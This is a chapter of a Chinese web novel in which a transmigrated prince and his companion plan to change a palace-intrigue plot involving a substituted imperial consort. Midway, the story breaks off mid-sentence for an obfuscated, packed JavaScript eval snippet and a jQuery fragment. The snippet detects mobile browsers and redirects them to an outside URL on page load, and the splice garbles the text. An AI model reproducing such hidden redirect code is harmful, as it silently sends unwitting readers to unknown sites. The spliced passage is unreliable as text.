古代没有监控摄像和照片之类的辅助抓捕的工具,导致逃犯数量极大。
这年头能出远门的不是商人就是官差,手头都有严格的身份证明,客栈的老板会将其详细登记,以待官府时不时地抽查。
当然,上有政策下有对策,盛闻他们如今投宿的客栈就是一家黑店。
黑店的典型代表之一,便是水浒传里孙二娘和张青在十字坡开的人肉包子铺。
当然大多数黑店都不会那么凶残,他们常用的勾当是偷走旅客的行李和盘缠,再假装不知道。
顾客本身身上也有些官司,无处申冤,只能暗自里吃了这个哑巴亏。
大约来打探的人也并不觉得盛闻等人会躲在一家黑店里,稍微聊了几句就转头走了。
盛闻目不斜视地走出客栈,只当没听见刚刚掌柜和他人的对话。
一行人约了先各自梳洗,到了晚间再汇合决定怎么离开陈州。
“他们动作挺快。”姚谅低声道。
“嗯。”盛闻轻轻点头,“他们大约是很急了。”
“当今登基以来,一向雷厉风行,主弱则臣强,他们不会再想要一位和今上一样手腕强硬的主子了。”
前世,众臣都支持看起来一派文人做派的四皇子,也必然有这个原因。
盛闻转了转眼睛。
“又打什么坏主意?”姚谅看到他那眼神,立刻知道盛闻又想出了什么奇怪的法子。
“你长得…”盛闻道,“挺好看的啊。”
“?”姚谅在脸上缓缓打出一个问号,“我又不是头一天长这样?你才知道?”
“你不觉得瑞合这个地名,有点熟悉吗?”盛闻晃了晃手指。
“你是说…”见盛闻的表情揶揄,姚谅立刻知道他是在说未来会进老皇帝后宫中的那群女子。
“我朝二月底选秀,离得远的秀女们该出发了吧。”盛闻道。
姚谅凑到盛闻耳边,盛闻还以为她要跟自己说什么惊天秘密,谁想,姚谅低声道,“为什么你比我还了解天子后宫的嫔妃们?”
“皇阿玛他是天子啊!”盛闻小声惨叫一声,“我对天发誓,我从来没觊觎过皇阿玛的女人啊。”
盛闻对天发誓的次数太多,现在在姚谅这儿盛闻的发誓跟放屁没什么区别,她只道:“皇阿玛是什么称呼?”
“关外女真人唤父亲的称呼罢了。”盛闻道,大概他们消失个四五百年才会再出现,现在先别着急。
为什么那么了解?当然是因为我靠《妖妃》足足下了快十年的饭啊。你要是一日三餐吃饭时都看同一部电视剧,肯定每句台词都说的出来。
盛闻又一次得意起来,除了导演有意使用叙述诡计的地方,当事人的记忆可能会因为时间久远而逐渐褪色,但他!
他这个粉丝能对剧情倒背如流!
“怎么又莫名其妙地高兴起来了?”姚谅道,“好啦,我想起来了,瑞合城是贾昭仪的祖地对吧?”
在原作中,这段剧情几乎是全作的最高潮了。
彼时,姚谅已至一人之下万人之上的贵妃之位,膝下不仅扶养了继子十二皇子,后面老十八老十九老二十,这几个皇子连号一样全是她生的。
宁直逼死四皇子盛阑,十二皇子登基几乎是板上钉钉之事,廖氏更是司马昭之心,路人皆知。
这位贾昭仪因同样出身低微,且性情温和不喜与人争斗,是姚谅战队中的一员。
贵妃只有一位,既然有了姚贵妃,梅贵妃自然已经不在贵妃之位上了,不过为了方便称呼,此处还是将其称为梅贵妃。
梅贵妃人至中年痛失爱子,一早便开始怀疑宁直身世的她暗地里找到了能扳倒宁姚二人的证据,借贾昭仪之事向姚谅发难。
引老皇帝怀疑宁直与姚贵妃的青梅竹马之情,再斩姚谅战队一臂,可谓一箭双雕之法。
贾昭仪的身世,说起来和宁直确有几分相似之处,不然梅贵妃也不会以此来攻击姚谅等人了。
正是这一年选秀,瑞合县县令的小女儿年方十五,外出游玩时掉进河水之中受了凉,高热不退。
县令延请了无数名医,小女儿的命最后是救回来了,但日后的智力就永远停留在十五岁,仿若稚子了。
若是女儿智力正常,瑞合县令或许还存着让女儿进宫为家族搏一搏前程的想法,但她如今这个样子,县令怎么放心放女儿进那吃人不吐骨头的地方?
为了保住自己在家族中的地位,县令思来想去,想到了一个欺君罔上的法子。
他另收了一个貌美渔女为义女,假称当年生了一对双胞胎姐妹,只是姐姐因为自小体弱,养在外面。
这貌美的渔女便是贾昭仪。
她那日倒霉催的去给县令府上送鱼,不小心和心急如焚的县令撞上了,见到贾姑娘美貌的县令顿时惊为天人,得救一般求贾姑娘救命。
贾父贾母生平见过最大的官就是县太爷,哪经得住县令的这一番威逼利诱,在一盘码得整整齐齐的银元宝面前,一家人最终同意了这件会掉脑袋的事。
十余年后,老皇帝来了兴致微服私访,恰巧来到了这瑞合县,碰上了偷偷翻墙出逃的县令家小女儿,已经双十年华的少女心性仍如孩童一般,一下就打动了老皇帝的一颗中年男心。
结局就是盛闻又多了一个被封为甄采女的小妈,不过那个他已经死了,也无法发表反对意见了。
放在现代盛闻肯定要大义灭亲,把这个邪恶的老爹送进监狱好好改造一下,不过在这个十一二岁定亲,十三四岁就能嫁人的古代,他的反对无效。
盛闻思来想去,后期老皇帝宠爱的女子如嫁过人的寡妇虞亦巧,三个孩子的妈姚谅,还有年近而立的甄采女…
这个爸爸可能少年时缺少母爱,有曹老板的风范。
梅贵妃借贾昭仪盗取甄采女身份之事,明面上是说贾昭仪犯了欺君之罪,有大不敬之嫌,实则是剑指宁直,意欲挑出宁直和姚谅年少时的情谊。
若是能恢复宁直的皇子身份,朝堂上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238010|162397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多了一个手腕狠辣的成年皇子,自然给十二皇子又是狠狠一击。
若是不能恢复宁直的皇子身份,说明皇帝心中对宸妃的感情也并没有那么深,更没有多喜欢这个儿子,姚贵妃和宁直在皇帝的怀疑下都会命不久矣。
幸得姚谅早有怀疑,放出消息让宁直提前准备了一副身形相似的少年人骨骼,才勉强逃过这一劫。
贾昭仪本就性子柔弱,经历了这么一遭,她神情恍惚浑浑噩噩,竟因脚滑跌进了御花园的鱼池中淹死了。
——这只是明面上的说法。
为了防止刺客潜入,御花园的水只有半人高,浅的地方更是不到成年人的腰部,又怎么会淹死一个自小在水边长大,靠捕鱼为生的渔女。
甄采女不明真相,被教导着说了不少颠倒黑白的话,白玉有瑕,皇帝的宠爱很快淡了。
宫里的人惯会踩低捧高,甄采女又只有十五岁的智力,更不会好好照顾自己。
一日三餐一直吃些冷了馊了的饭食,冬日里一场伤寒下来,香消玉殒,一命呜呼。
盛闻从回忆中收回思绪,现在他要去把另外两个姑娘从他爹的后宫中解救出来了,也不知到底对她们来说是福是祸。
要是盛闻知道,因为阴差阳错他的两个弟弟也被他害得没了老婆,不知道盛闻会不会发现自己这离谱的拆cp体质。
不过就算他知道了也只会弹冠相庆,有些人就活该单身一辈子没有对象。
坏cp必须拆掉拆掉。
“我们现在就去拜访县令?”姚谅很快明白了盛闻的计划,是让她顶替原本的甄采女,以秀女的身份进京。
“师出无名啊。”盛闻道,“甄姑娘现在又没落水高热,我们上门说‘嘿你闺女马上要掉河里啦’,县令还不得把我们打死。”
姚谅定定地看着他。
“好吧好吧。”盛闻举手作投降姿态,“既然我说出口了,就是没想过借着甄姑娘掉进水里这事和县令攀上交情,能避免当然要避免,平白无故看人家掉水里像什么样子。”
“所以…”盛闻双手合十,“好姐姐,你想想法子。”
姚谅的表情这才多云转晴,“这才像我选的主子。”
姚谅确实怕盛闻说出要眼看着甄采女掉进河里之后再做打算的话,眼下盛闻和她所思所想一致,她免不了松了口气。
“挟恩图报非君子所为,我是尽人事听天命派的。”盛闻道。
“我们医者有句话。”姚谅道,“没有突然得了的病,只有突然发现的病。”
“她既然一次受寒便高热不退,显然里寒已经重极了,稍微受了些外寒就引了出来。”
姚谅边说边走,她买了一把银针和几样可能会用到的药丸装进一个小布袋里,又换了身简朴的衣裳。
“姐姐,我听不懂。”盛闻学着凤歌,姐姐长姐姐短地跟在后面。
“就是她肯定还有旁的病!”姚谅一指头点在盛闻脑壳上,“你等下不要说话,只管看着就是了。”